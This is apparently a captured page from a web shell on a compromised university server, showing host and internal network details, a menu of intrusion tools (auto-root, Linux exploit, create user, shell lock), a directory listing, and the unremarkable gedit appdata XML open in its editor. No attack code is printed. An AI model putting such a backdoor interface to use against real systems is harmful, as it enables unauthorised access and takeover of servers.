Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
metainfo /
[ HOME SHELL ]
Name
Size
Permission
Action
de.urwpp.URWCoreFontSetLevel2.metainfo.xml
5.35
KB
-rw-r--r--
eog.appdata.xml
36.8
KB
-rw-r--r--
evince-comicsdocument.metainfo.xml
11.65
KB
-rw-r--r--
evince-djvudocument.metainfo.xml
10.69
KB
-rw-r--r--
evince-dvidocument.metainfo.xml
11.22
KB
-rw-r--r--
evince-pdfdocument.metainfo.xml
11.42
KB
-rw-r--r--
evince-psdocument.metainfo.xml
13.1
KB
-rw-r--r--
evince-tiffdocument.metainfo.xml
10.12
KB
-rw-r--r--
evince-xpsdocument.metainfo.xml
10.06
KB
-rw-r--r--
filezilla.appdata.xml
1.91
KB
-rw-r--r--
gnome-control-center.appdata.xml
16.6
KB
-rw-r--r--
gnome-system-monitor.appdata.xml
81.03
KB
-rw-r--r--
ibus-table.appdata.xml
27.56
KB
-rw-r--r--
in.org.smc.anjalioldlipi.metainfo.xml
1.64
KB
-rw-r--r--
in.org.smc.dyuthi.metainfo.xml
1.62
KB
-rw-r--r--
in.org.smc.karumbi.metainfo.xml
1.6
KB
-rw-r--r--
in.org.smc.keraleeyam.metainfo.xml
1.6
KB
-rw-r--r--
in.org.smc.meera.metainfo.xml
1.63
KB
-rw-r--r--
in.org.smc.rachana.metainfo.xml
1.93
KB
-rw-r--r--
in.org.smc.raghumalayalamsans.metainfo.xml
1.64
KB
-rw-r--r--
in.org.smc.suruma.metainfo.xml
1.54
KB
-rw-r--r--
in.org.smc.uroob.metainfo.xml
1.57
KB
-rw-r--r--
io.github.feralinteractive.gamemode.metainfo.xml
1.38
KB
-rw-r--r--
io.pagure.lohit.assamese.font.metainfo.xml
928
B
-rw-r--r--
io.pagure.lohit.bengali.font.metainfo.xml
923
B
-rw-r--r--
io.pagure.lohit.devanagari.font.metainfo.xml
943
B
-rw-r--r--
io.pagure.lohit.gujarati.font.metainfo.xml
927
B
-rw-r--r--
io.pagure.lohit.gurmukhi.font.metainfo.xml
946
B
-rw-r--r--
io.pagure.lohit.kannada.font.metainfo.xml
922
B
-rw-r--r--
io.pagure.lohit.malayalam.font.metainfo.xml
932
B
-rw-r--r--
io.pagure.lohit.odia.font.metainfo.xml
907
B
-rw-r--r--
io.pagure.lohit.tamil.classical.font.metainfo.xml
951
B
-rw-r--r--
io.pagure.lohit.tamil.font.metainfo.xml
912
B
-rw-r--r--
io.pagure.lohit.telugu.font.metainfo.xml
917
B
-rw-r--r--
libgphoto2.metainfo.xml
1.7
KB
-rw-r--r--
libreoffice-calc.appdata.xml
1.91
KB
-rw-r--r--
libreoffice-draw.appdata.xml
2.2
KB
-rw-r--r--
libreoffice-impress.appdata.xml
2.12
KB
-rw-r--r--
libreoffice-writer.appdata.xml
2.36
KB
-rw-r--r--
network-manager-openvpn.metainfo.xml
12.65
KB
-rw-r--r--
network-manager-pptp.metainfo.xml
11.74
KB
-rw-r--r--
nm-connection-editor.appdata.xml
21.64
KB
-rw-r--r--
org.a11y.brltty.metainfo.xml
16.07
KB
-rw-r--r--
org.freedesktop.appstream.cli.metainfo.xml
41.06
KB
-rw-r--r--
org.freedesktop.fwupd.metainfo.xml
115.54
KB
-rw-r--r--
org.gnome.baobab.appdata.xml
51
KB
-rw-r--r--
org.gnome.Calculator.appdata.xml
142.49
KB
-rw-r--r--
org.gnome.Calendar.appdata.xml
56.95
KB
-rw-r--r--
org.gnome.Characters.appdata.xml
29.82
KB
-rw-r--r--
org.gnome.Cheese.appdata.xml
71.76
KB
-rw-r--r--
org.gnome.DejaDup.appdata.xml
59.7
KB
-rw-r--r--
org.gnome.DiskUtility.appdata.xml
30.76
KB
-rw-r--r--
org.gnome.Evince.appdata.xml
52.63
KB
-rw-r--r--
org.gnome.FileRoller.appdata.xml
52.38
KB
-rw-r--r--
org.gnome.font-viewer.appdata.xml
44.97
KB
-rw-r--r--
org.gnome.gedit.appdata.xml
25.36
KB
-rw-r--r--
org.gnome.Logs.appdata.xml
36
KB
-rw-r--r--
org.gnome.Mahjongg.appdata.xml
44.92
KB
-rw-r--r--
org.gnome.Mines.appdata.xml
43.49
KB
-rw-r--r--
org.gnome.Nautilus.appdata.xml
86.85
KB
-rw-r--r--
org.gnome.PowerStats.appdata.xml
33.57
KB
-rw-r--r--
org.gnome.rhythmbox.alternative-toolbar.addon.appdata.xml
1.14
KB
-rw-r--r--
org.gnome.seahorse.Application.appdata.xml
40.38
KB
-rw-r--r--
org.gnome.Sudoku.appdata.xml
62.46
KB
-rw-r--r--
org.gnome.Terminal.metainfo.xml
76.28
KB
-rw-r--r--
org.gnome.Terminal.Nautilus.metainfo.xml
44.58
KB
-rw-r--r--
org.gnome.Todo.appdata.xml
47.77
KB
-rw-r--r--
org.gnome.Totem.appdata.xml
39.65
KB
-rw-r--r--
org.libimobiledevice.usbmuxd.metainfo.xml
598
B
-rw-r--r--
org.remmina.Remmina.appdata.xml
4.58
KB
-rw-r--r--
rhythmbox.appdata.xml
34.05
KB
-rw-r--r--
shotwell.appdata.xml
31.06
KB
-rw-r--r--
simple-scan.appdata.xml
36.18
KB
-rw-r--r--
software-properties-gtk.appdata.xml
4.22
KB
-rw-r--r--
sol.metainfo.xml
49.36
KB
-rw-r--r--
system-config-printer.appdata.xml
4.33
KB
-rw-r--r--
update-manager.appdata.xml
8.01
KB
-rw-r--r--
yelp.appdata.xml
38.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : org.gnome.gedit.appdata.xml
<?xml version="1.0" encoding="UTF-8"?> <!-- Copyright 2014 Paolo Borelli <pborelli@gnome.org> --> <component type="desktop"> <id>org.gnome.gedit.desktop</id> <metadata_license>CC0-1.0</metadata_license> <project_license>GPL-2.0+</project_license> <name>gedit</name> <name xml:lang="zh_TW">gedit</name> <name xml:lang="zh_HK">gedit</name> <name xml:lang="zh_CN">gedit</name> <name xml:lang="wa">gedit</name> <name xml:lang="vi">gedit</name> <name xml:lang="uk">gedit</name> <name xml:lang="ug">gedit</name> <name xml:lang="tr">gedit</name> <name xml:lang="tk">gedit</name> <name xml:lang="ta">gedit</name> <name xml:lang="sv">gedit</name> <name xml:lang="sr">gedit</name> <name xml:lang="sl">gedit</name> <name xml:lang="sk">gedit</name> <name xml:lang="ru">gedit</name> <name xml:lang="ro">gedit</name> <name xml:lang="pt_BR">gedit</name> <name xml:lang="pt">gedit</name> <name xml:lang="pl">gedit</name> <name xml:lang="pa">ਜੀ-ਸੰਪਾਦਕ</name> <name xml:lang="or">gedit</name> <name xml:lang="oc">gedit</name> <name xml:lang="nn">gedit</name> <name xml:lang="nl">gedit</name> <name xml:lang="ne">जिइडिट</name> <name xml:lang="nds">gedit</name> <name xml:lang="nb">gedit</name> <name xml:lang="my">gedit</name> <name xml:lang="ms">gedit</name> <name xml:lang="mk">gedit</name> <name xml:lang="mjw">gedit</name> <name xml:lang="lv">gedit</name> <name xml:lang="lt">gedit</name> <name xml:lang="ko">지에디트</name> <name xml:lang="kn">gedit</name> <name xml:lang="km">gedit</name> <name xml:lang="kk">gedit</name> <name xml:lang="ja">gedit</name> <name xml:lang="it">gedit</name> <name xml:lang="is">gedit</name> <name xml:lang="id">gedit</name> <name xml:lang="hu">gedit</name> <name xml:lang="hr">gedit</name> <name xml:lang="he">gedit</name> <name xml:lang="gl">gedit</name> <name xml:lang="ga">gedit</name> <name xml:lang="fur">gedit</name> <name xml:lang="fr">gedit</name> <name xml:lang="fi">gedit</name> <name xml:lang="fa">جی ادیت</name> <name xml:lang="eu">gedit</name> <name xml:lang="et">gedit</name> <name xml:lang="es">gedit</name> <name xml:lang="eo">gedit</name> <name xml:lang="en_GB">gedit</name> <name xml:lang="en_CA">gedit</name> <name xml:lang="el">gedit</name> <name xml:lang="de">gedit</name> <name xml:lang="da">gedit</name> <name xml:lang="cs">gedit</name> <name xml:lang="crh">gedit</name> <name xml:lang="ckb">gedit</name> <name xml:lang="ca">gedit</name> <name xml:lang="bs">gedit</name> <name xml:lang="br">gedit</name> <name xml:lang="bn_IN">gedit</name> <name xml:lang="bg">gedit</name> <name xml:lang="az">gedit</name> <name xml:lang="ast">gedit</name> <name xml:lang="as">gedit</name> <name xml:lang="an">gedit</name> <name xml:lang="am">gedit</name> <name xml:lang="af">gedit</name> <name xml:lang="ab">gedit</name> <summary>Edit text files</summary> <summary xml:lang="zh_TW">編輯文字檔</summary> <summary xml:lang="zh_HK">編輯文字檔</summary> <summary xml:lang="zh_CN">编辑文本文件</summary> <summary xml:lang="xh">Hlela iifayili zombhalo</summary> <summary xml:lang="wa">Asspougnî des fitchîs tecses</summary> <summary xml:lang="vi">Soạn thảo tập tin văn bản</summary> <summary xml:lang="uk">Редактор текстових файлів</summary> <summary xml:lang="ug">تېكىست ھۆججەتلىرىنى تەھرىرلەش</summary> <summary xml:lang="tr">Metin dosyalarını düzenle</summary> <summary xml:lang="tk">Metin faýllary editle</summary> <summary xml:lang="th">แก้ไขแฟ้มข้อความ</summary> <summary xml:lang="te">పాఠ్య ఫైళ్ళను సవరించు</summary> <summary xml:lang="ta">உரை கோப்புகளை திருத்தவும் </summary> <summary xml:lang="sv">Redigera textfiler</summary> <summary xml:lang="sr@latin">Uređujte tekstualne dokumente</summary> <summary xml:lang="sr">Уређујте текстуалне документе</summary> <summary xml:lang="sq">Ndrysho file teksti</summary> <summary xml:lang="sl">Enostavni urejevalnik besedilnih datotek</summary> <summary xml:lang="sk">Upravuje textové súbory</summary> <summary xml:lang="si">පෙළ ගොනු සකසන්න</summary> <summary xml:lang="ru">Редактор текстовых файлов</summary> <summary xml:lang="ro">Editare fișiere text</summary> <summary xml:lang="pt_BR">Edite arquivos de texto</summary> <summary xml:lang="pt">Editar ficheiros de texto</summary> <summary xml:lang="ps">ليکن دوتنې سمول</summary> <summary xml:lang="pl">Edytor plików tekstowych</summary> <summary xml:lang="pa">ਲਿਖਤ ਫਾਇਲਾਂ ਸੋਧੋ</summary> <summary xml:lang="or">ପାଠ୍ଯ ଫାଇଲଗୁଡ଼ିକୁ ସମ୍ପାଦନ କରନ୍ତୁ</summary> <summary xml:lang="oc">Editar de fichièrs tèxte</summary> <summary xml:lang="nn">Rediger tekstfiler</summary> <summary xml:lang="nl">Tekstbestanden bewerken</summary> <summary xml:lang="ne">पाठ फाइल सम्पादन गर्नुहोस्</summary> <summary xml:lang="nds">Textdateien bewarken</summary> <summary xml:lang="nb">Rediger tekstfiler</summary> <summary xml:lang="my">စာသားဖိုင်များပြင်ဆင်ရန်</summary> <summary xml:lang="ms">Sunting fail teks</summary> <summary xml:lang="mr">मजकूर फाइल्स् संपादीत करा</summary> <summary xml:lang="mn">Текст файл боловсруулах</summary> <summary xml:lang="ml">പദാവലി ഫയലുകളില് മാറ്റം വരുത്തുക</summary> <summary xml:lang="mk">Уредувај текстуални датотеки</summary> <summary xml:lang="mg">Hanova raki-dahabolana</summary> <summary xml:lang="mai">पाठ फाइलकेँ संपादित करू</summary> <summary xml:lang="lv">Rediģēt teksta datnes</summary> <summary xml:lang="lt">Redaguoti tekstinius failus</summary> <summary xml:lang="ln">Bɔngisa kásá ya nkomá</summary> <summary xml:lang="ku">Pelên nivîsê sererast bike</summary> <summary xml:lang="ko">텍스트 파일을 편집합니다</summary> <summary xml:lang="kn">ಪಠ್ಯ ಕಡತಗಳನ್ನು ಸಂಪಾದಿಸು</summary> <summary xml:lang="km">កែសម្រួលឯកសារអត្ថបទ</summary> <summary xml:lang="kk">Мәтіндік файлдарды түзету</summary> <summary xml:lang="ka">ტექსტური ფაილების რედაქტირება</summary> <summary xml:lang="ja">テキストファイルを編集します</summary> <summary xml:lang="it">Modifica file di testo</summary> <summary xml:lang="is">Sýsla með textaskrár</summary> <summary xml:lang="id">Menyunting berkas teks</summary> <summary xml:lang="hu">Szövegfájlok szerkesztése</summary> <summary xml:lang="hr">Uređivanje tekstovnih datoteka</summary> <summary xml:lang="hi">पाठ फ़ाइलें संपादित करें</summary> <summary xml:lang="he">עריכת קובצי טקסט</summary> <summary xml:lang="gu">લખાણ ફાઇલોમાં ફેરફાર કરો</summary> <summary xml:lang="gl">Editar ficheiros de texto</summary> <summary xml:lang="gd">Deasaich faidhlichean teacsa</summary> <summary xml:lang="ga">Cuir comhaid téacs in eagar</summary> <summary xml:lang="fur">Modifiche file di test</summary> <summary xml:lang="fr">Éditer des fichiers texte</summary> <summary xml:lang="fi">Muokkaa tekstitiedostoja</summary> <summary xml:lang="fa">ویرایش پروندههای متنی</summary> <summary xml:lang="eu">Editatu testu-fitxategiak</summary> <summary xml:lang="et">Tekstifailide redigeerimine</summary> <summary xml:lang="es">Edite archivos de texto</summary> <summary xml:lang="eo">Redakti tekstdosierojn</summary> <summary xml:lang="en@shaw">𐑧𐑛𐑦𐑑 𐑑𐑧𐑒𐑕𐑑 𐑓𐑲𐑤𐑟</summary> <summary xml:lang="en_GB">Edit text files</summary> <summary xml:lang="en_CA">Edit text files</summary> <summary xml:lang="el">Επεξεργασία αρχείων κειμένου</summary> <summary xml:lang="dz">ཚིག་ཡིག་ཡིག་སྣོད་ཚུ་ ཞུན་དག་རྐྱབས་ </summary> <summary xml:lang="de">Textdateien bearbeiten</summary> <summary xml:lang="da">Redigér tekstfiler</summary> <summary xml:lang="cy">Golygu ffeiliau testun</summary> <summary xml:lang="cs">Upravujte textové soubory</summary> <summary xml:lang="crh">Metin dosyelerini tahrir et</summary> <summary xml:lang="ckb">دەق دەستکاریبکە</summary> <summary xml:lang="ca@valencia">Editeu fitxers de text</summary> <summary xml:lang="ca">Editeu fitxers de text</summary> <summary xml:lang="bs">Izmijeni tekstualne datoteke</summary> <summary xml:lang="br">Embann restroù testenn</summary> <summary xml:lang="bn_IN">টেক্সট ফাইল সম্পাদনা</summary> <summary xml:lang="bn">টেক্সট ফাইল সম্পাদনা করুন</summary> <summary xml:lang="bg">Редактиране на текстови файлове</summary> <summary xml:lang="be@latin">Redahuj tekstavyja fajły</summary> <summary xml:lang="be">Рэдагаванне тэкставых файлаў</summary> <summary xml:lang="az">Mətn fayllarını redaktə edin</summary> <summary xml:lang="ast">Editar ficheros de testu</summary> <summary xml:lang="as">লিখনি ফাইল সম্পাদনা</summary> <summary xml:lang="ar">حرّر الملفات النصية</summary> <summary xml:lang="an">Edita fichers de texto</summary> <summary xml:lang="am">የጽሑፍ ፋይሎች ያስተካክሉ</summary> <summary xml:lang="af">Redigeer tekslêers</summary> <description> <p> gedit is the text editor of the GNOME desktop environment. </p> <p xml:lang="zh_TW">gedit 是 GNOME 桌面環境的文字編輯器。</p> <p xml:lang="zh_CN">gedit 是 GNOME 桌面环境的文本编辑器。</p> <p xml:lang="vi">gedit là phần mềm soạn thảo văn bản dành cho môi trường máy tính để bàn GNOME.</p> <p xml:lang="uk">gedit – текстовий редактор стільничного середовища GNOME.</p> <p xml:lang="tr">gedit, GNOME masaüstü ortamı için metin düzenleyicidir.</p> <p xml:lang="sv">gedit är textredigeraren för skrivbordsmiljön GNOME.</p> <p xml:lang="sr">гедит је мали и лагани уређивач текста за Гном окружење.</p> <p xml:lang="sl">Program gedit je urejevalnik besedil za namizje GNOME.</p> <p xml:lang="sk">gedit je textový editor prostredia GNOME.</p> <p xml:lang="ru">gedit — стандартный редактор текстов среды рабочего стола GNOME.</p> <p xml:lang="ro">gedit este editorul de text al mediului de desktop GNOME.</p> <p xml:lang="pt_BR">gedit é o editor de texto do ambiente GNOME.</p> <p xml:lang="pt">O gedit é o editor de texto do ambiente de trabalho GNOME.</p> <p xml:lang="pl">gedit to edytor tekstu dla środowiska GNOME.</p> <p xml:lang="pa">ਜੀ-ਸੰਪਾਦਕ ਗਨੋਮ ਡੈਸਕਟਾਪ ਲਈ ਲਿਖਤ ਸੰਪਾਦਕ ਹੈ</p> <p xml:lang="oc">gedit es l'editor de tèxte del burèu GNOME.</p> <p xml:lang="nl">gedit is de teksteditor voor de Gnome-werkomgeving.</p> <p xml:lang="ne">जीनोम डेस्कटपका लागि जिइडिट पाठ सम्पादक हो।.</p> <p xml:lang="nb">gedit er tekstredigeringsprogrammet for skrivebordsmiljøet GNOME</p> <p xml:lang="lv">gedit ir teksta redaktors GNOME darbvirsmas videi.</p> <p xml:lang="lt">gedit yra tekstų redaktorius, skirtas GNOME darbalaukio aplinkai.</p> <p xml:lang="ko">지에디트는 그놈 데스크톱 환경을 위한 텍스트 에디터입니다.</p> <p xml:lang="kk">gedit - бұл GNOME жұмыс үстелі үшін жеңіл әрі жылдам мәтіндік түзетушісі.</p> <p xml:lang="ja">gedit は GNOME デスクトップ環境のテキストエディターです。</p> <p xml:lang="it">gedit è l'editor di testo dell'ambiente grafico GNOME</p> <p xml:lang="is">gedit er textaritillinn fyrir GNOME-skjáborðsumhverfið.</p> <p xml:lang="id">gedit adalah penyunting teks dari lingkungan destop GNOME.</p> <p xml:lang="hu">A gedit a GNOME asztali környezet szövegszerkesztője.</p> <p xml:lang="hr">gedit je uređivač teksta za GNOME radno okruženje.</p> <p xml:lang="he">gedit הינו עורך הטקסט של שולחן העבודה GNOME.</p> <p xml:lang="gl">O gedit é o editor de textos para o ambiente de escritorio GNOME.</p> <p xml:lang="fur">gedit al è l'editôr di test pal ambient grafic GNOME.</p> <p xml:lang="fr">gedit est l’éditeur de texte de l’environnement de bureau GNOME.</p> <p xml:lang="fi">gedit on pieni ja kevyt tekstimuokkain Gnome-työpöytäympäristöön.</p> <p xml:lang="fa">جیادیت، ویرایشگر متن محیط میزکار گنوم است.</p> <p xml:lang="eu">gedit GNOME mahaigain-inguruneko testu-editore bat da.</p> <p xml:lang="es">gedit es el editor de texto del Escritorio GNOME.</p> <p xml:lang="en_GB">gedit is the text editor of the GNOME desktop environment.</p> <p xml:lang="el">Το gedit είναι ο επεξεργαστής κειμένου για την περιβάλλον εργασίας GNOME.</p> <p xml:lang="de">gedit ist ein kleiner und handlicher Texteditor für die GNOME-Arbeitsumgebung.</p> <p xml:lang="da">gedit er tekstredigeringsprogrammet til GNOME-skrivebordsmiljøet.</p> <p xml:lang="cs">gedit je textový editor pro uživatelské prostředí GNOME.</p> <p xml:lang="ca">El gedit és un editor de text petit i lleuger per l'escriptori GNOME.</p> <p xml:lang="bn_IN">gedit হ'ল জিনোম ডেস্কটপ পরিবেশের পাঠ্য সম্পাদক।</p> <p xml:lang="bg">gedit е текстовият редактор за работната среда GNOME</p> <p> The first goal of gedit is to be easy to use, with a simple interface by default. More advanced features are available by enabling plugins. </p> <p xml:lang="zh_TW">gedit 的首要之務便是易於使用,預設即有簡單的介面。更多進階功能可藉啟用「外掛程式」使用。</p> <p xml:lang="zh_CN">Gedit 编辑器的第一目标是易于使用,它默认提供一个简单的界面。在启用插件后,它也可以提供更多的高级功能。</p> <p xml:lang="vi">Mục tiêu đầu tiên của gedit là dễ sử dụng, với giao diện đơn giản theo mặc định. Các tính năng nâng cao hơn có sẵn bằng cách bật các trình cắm.</p> <p xml:lang="uk">Gedit, передусім, проста у користуванні програма і типовим простим інтерфейсом. Доступ до додаткових можливостей відкривається за допомогою додатків.</p> <p xml:lang="tr">gedit’in ilk amacı kolay kullanım ve basit arayüzdür. Gelişmiş özellikler, eklentileri etkinleştirerek kullanılabilir.</p> <p xml:lang="sv">Det främsta målet för gedit är att vara lättanvänt, med ett enkelt standardgränssnitt. Mer avancerade funktioner finns tillgängliga genom att aktivera insticksmoduler.</p> <p xml:lang="sr">Основна намена гедита је лакоћа употребе уз подразумевано коришћење једноставног интерфејса. Напредне могућности су доступне омогућавањем прикључака.</p> <p xml:lang="sl">Program gedit je enostaven za uporabo, z enostavnim privzetim vmesnikom. Naprednejše možnosti so na voljo prek sistema vstavkov.</p> <p xml:lang="sk">Hlavným cieľom editora gedit je jednoduchosť používania s jednoduchým rozhraním. Viac pokročilé funkcie sú dostupné po povolení zásuvných modulov.</p> <p xml:lang="ru">Главная цель gedit - быть лёгким в использовании, с простым интерфейсом по-умолчанию. Более продвинутые возможности доступны при добавлении расширений.</p> <p xml:lang="ro">Primul obiectiv al gedit este să fie ușor de utilizat, cu o interfață simplă în mod implicit. Funcționalitățile mai avansate sunt disponibile prin activarea modulelor.</p> <p xml:lang="pt_BR">O primeiro objetivo do gedit é ser fácil de usar, com uma interface simples por padrão. Recursos mais avançados estão disponíveis habilitando plugins.</p> <p xml:lang="pt">O primeiro objetivo do gedit é ser fácil de usar; tem por por isso uma interface simples. Podem ser adicionadas funcionalidades mais avançadas através de extensões (plugins).</p> <p xml:lang="pl">Głównym celem programu gedit jest łatwość obsługi, więc domyślny jest prosty interfejs. Bardziej zaawansowane funkcje są dostępne jako wtyczki.</p> <p xml:lang="pa">ਜੀ-ਸੰਪਾਦਕ ਦਾ ਪਹਿਲਾਂ ਟੀਚਾ ਵਰਤਣ ਲਈ ਸੌਖਾ, ਮੂਲ ਰੂਪ ਵਿੱਚ ਸਰਲ ਇੰਟਰਫੇਸ ਹੈ। ਹੋਰ ਤਕਨੀਕੀ ਫ਼ੀਚਰ ਪਲੱਗਇਨ ਵਰਤ ਕੇ ਉਪਲਬਧ ਹੁੰਦੇ ਹਨ।</p> <p xml:lang="oc">L'objectiu primièr de gedit es d'èsser de bon utilizar, amb una interfàcia simpla per defaut. De foncionalitats mai avançadas son disponiblas en activant los empeutons.</p> <p xml:lang="nl">Het hoofddoel van gedit is gebruiksgemak, met standaard een eenvoudige interface. Meer geavanceerde functies zijn beschikbaar door plug-ins in te schakelen.</p> <p xml:lang="ne">जिइडित को पहिलो लक्ष्य प्रयोग गर्न सजिलो छ, पूर्वनिर्धारित द्वारा एक साधारण इन्टरफेस संग। प्लगइन सक्षम पारेर धेरै उन्नत विशेषताहरू उपलब्ध छन् ।</p> <p xml:lang="nb">Det første målet for gedit er å være enkel å bruke, med et enkelt grensesnitt som standard. Mer avanserte funksjoner kan gjøres tilgjengelig ved å slå på tillegg.</p> <p xml:lang="lv">Pirmais gedit mērķis ir vienkārša lietojamība un vienkārša saskarne pēc noklusējuma. Plašākas iespējas ir pieejamas, ieslēdzot spraudņus.</p> <p xml:lang="lt">Svarbiausias gedit tikslas yra būti paprastu naudoti su paprasta numatytąją naudotojo sąsaja. Sudėtingesnės galimybės yra prieinamas įjungiant įskiepius.</p> <p xml:lang="ko">지에디트의 첫번째 목표는 사용하기 쉽게 하는 것으로, 기본값으로는 간단한 인터페이스만 있습니다. 플러그인을 사용하면 추가 고급 기능을 사용할 수 있습니다.</p> <p xml:lang="kk">gedit-тің бірінші мақсаты - қарапайым интерфейсі бар, күнделікті пайдалануға оңай болу. Қосымша мүмкіндіктер плагиндерді іске қосу арқылы қол жетімді.</p> <p xml:lang="ja">gedit は、デフォルトのインターフェースがシンプルで、使いやすいことを第一目標にしています。プラグインを有効にすることで、より高度な機能を利用できます。</p> <p xml:lang="it">L'obiettivo di gedit è di essere facile da utilizzare, attraverso una semplice interfaccia grafica. Funzionalità più avanzate sono disponibili abilitando dei plugin.</p> <p xml:lang="id">Tujuan pertama gedit adalah mudah digunakan, dengan antarmuka yang sederhana secara bawaan. Lebih banyak fitur canggih tersedia dengan mengaktifkan pengaya.</p> <p xml:lang="hu">A gedit elsődleges célja, hogy könnyen használható legyen, így alapértelmezetten egyszerű a felhasználói felülete. A speciálisabb funkciók bővítmények engedélyezésével érhetők el.</p> <p xml:lang="hr">Glavni cilj gedita je jednostavnost korištenja, sa zadanim jednostavnim sučeljem. Naprednije značajke su dostupne omogućavanjem priključaka.</p> <p xml:lang="he">המטרה הראשונה של gedit היא להיות קלה לשימוש, עם ממשק פשוט כברירת מחדל. תכונות מתקדמות יותר זמינות באמצעות תוספים.</p> <p xml:lang="gl">O principal obxectivo de gedit é ser doado de usar, con unha interface sinxela por omisión. Hai dispoñíbeis máis funcionalidades mediante a activación de engadidos.</p> <p xml:lang="fur">Il prin obietîf di gedit al è che di jessi facil di doprâ, cuntune interface semplice predefinide. Funzionalitâts avanzadis adizionâls a son disponibilis abilitant i plugin.</p> <p xml:lang="fr">L’objectif premier de gedit est d’être facile à utiliser, avec une interface simple par défaut. Des fonctionnalités plus avancées sont disponibles en ajoutant des greffons.</p> <p xml:lang="fi">Ensimmäinen geditin tavoite on olla helppokäyttöinen ja tarjota oletuksena yksinkertainen käyttöliittymä. Edistyneitä lisäominaisuuksia on saatavilla ottamalla liitännäisiä käyttöön.</p> <p xml:lang="fa">هدف نخست جیادیت، سادگی استفاده، با واسطی به صورت پیشگزیده ساده است. ویژگیهای پیشرفتهتر با به کار انداختن افزایهها موجودند.</p> <p xml:lang="eu">Aplikazioaren lehen helburua erabilerrraztasuna da, eta horretarako interfaze sinplea du modu lehenetsian. Eginbide aurreratuagoak ere erabili daitezke pluginak aktibatzen badira.</p> <p xml:lang="es">El principal objetivo de gedit es que sea fácil de usar, con una interfaz predeterminada sencilla. Hay disponibles más funcionalidades mediante la activación de complementos.</p> <p xml:lang="en_GB">The first goal of gedit is to be easy to use, with a simple interface by default. More advanced features are available by enabling plug-ins.</p> <p xml:lang="el">Ο πρώτος στόχος του gedit είναι να είναι εύκολο στη χρήση, με μια απλή διεπαφή από προεπιλογή. Περισσότερες προηγμένες δυνατότητες είναι διαθέσιμες ενεργοποιώντας πρόσθετα.</p> <p xml:lang="de">Das primäre Ziel von gedit ist es, durch eine simple Benutzeroberfläche einfach verwendbar zu sein. Kompliziertere Funktionen werden über Erweiterungen zur Verfügung gestellt.</p> <p xml:lang="da">gedits primære mål er at være let at bruge og som standard med en enkel grænseflade. Mere avancerede funktioner er tilgængelige ved at aktivere udvidelsesmoduler.</p> <p xml:lang="cs">Prvotním cílem editoru gedit je snadné používání a jednoduché výchozí uživatelské rozhraní. Pokročilé funkce jsou pak dostupné pomocí zásuvných modulů.</p> <p xml:lang="ca">El primer objectiu del gedit és ser fàcil d'utilitzar amb una interfície simple per defecte. Hi ha disponibles funcionalitats més avançades activant connectors.</p> <p xml:lang="bn_IN">জিডিটের প্রথম লক্ষ্যটি ডিফল্টরূপে একটি সাধারণ ইন্টারফেস সহ ব্যবহার করা সহজ। প্লাগইন সক্ষম করে আরও উন্নত বৈশিষ্ট্য উপলব্ধ।</p> <p xml:lang="bg">Основната цел на gedit е да е лесен за ползване с много опростен интерфейс. Допълнителните възможности се предоставят от приставки.</p> </description> <kudos> <kudo>HiDpiIcon</kudo> <kudo>HighContrast</kudo> <kudo>ModernToolkit</kudo> <kudo>UserDocs</kudo> </kudos> <screenshots> <screenshot type="default"> <image>https://gitlab.gnome.org/GNOME/gedit/raw/master/data/screenshot.png</image> </screenshot> </screenshots> <url type="homepage">https://wiki.gnome.org/Apps/Gedit</url> <url type="bugtracker">https://gitlab.gnome.org/GNOME/gedit/issues</url> <url type="donation">https://www.gnome.org/donate/</url> <url type="help">https://help.gnome.org/users/gedit/stable/</url> <url type="translate">https://wiki.gnome.org/TranslationProject</url> <update_contact>jmas@softcatala.org</update_contact> <project_group>GNOME</project_group> <translation type="gettext">gedit</translation> <content_rating type="oars-1.1"/> <releases> <release version="41" date="2022-02-14"/> <release version="40.1" date="2021-04-17"/> <release version="40.0" date="2021-03-19"/> <release version="3.38.0" date="2020-09-11"/> <release version="3.37.92" date="2020-09-04"/> <release version="3.37.3" date="2020-07-03"/> <release version="3.37.2" date="2020-05-29"/> <release version="3.37.1" date="2020-04-24"/> <release version="3.36.1" date="2020-03-20"/> <release version="3.36.0" date="2020-03-06"/> </releases> </component>
Close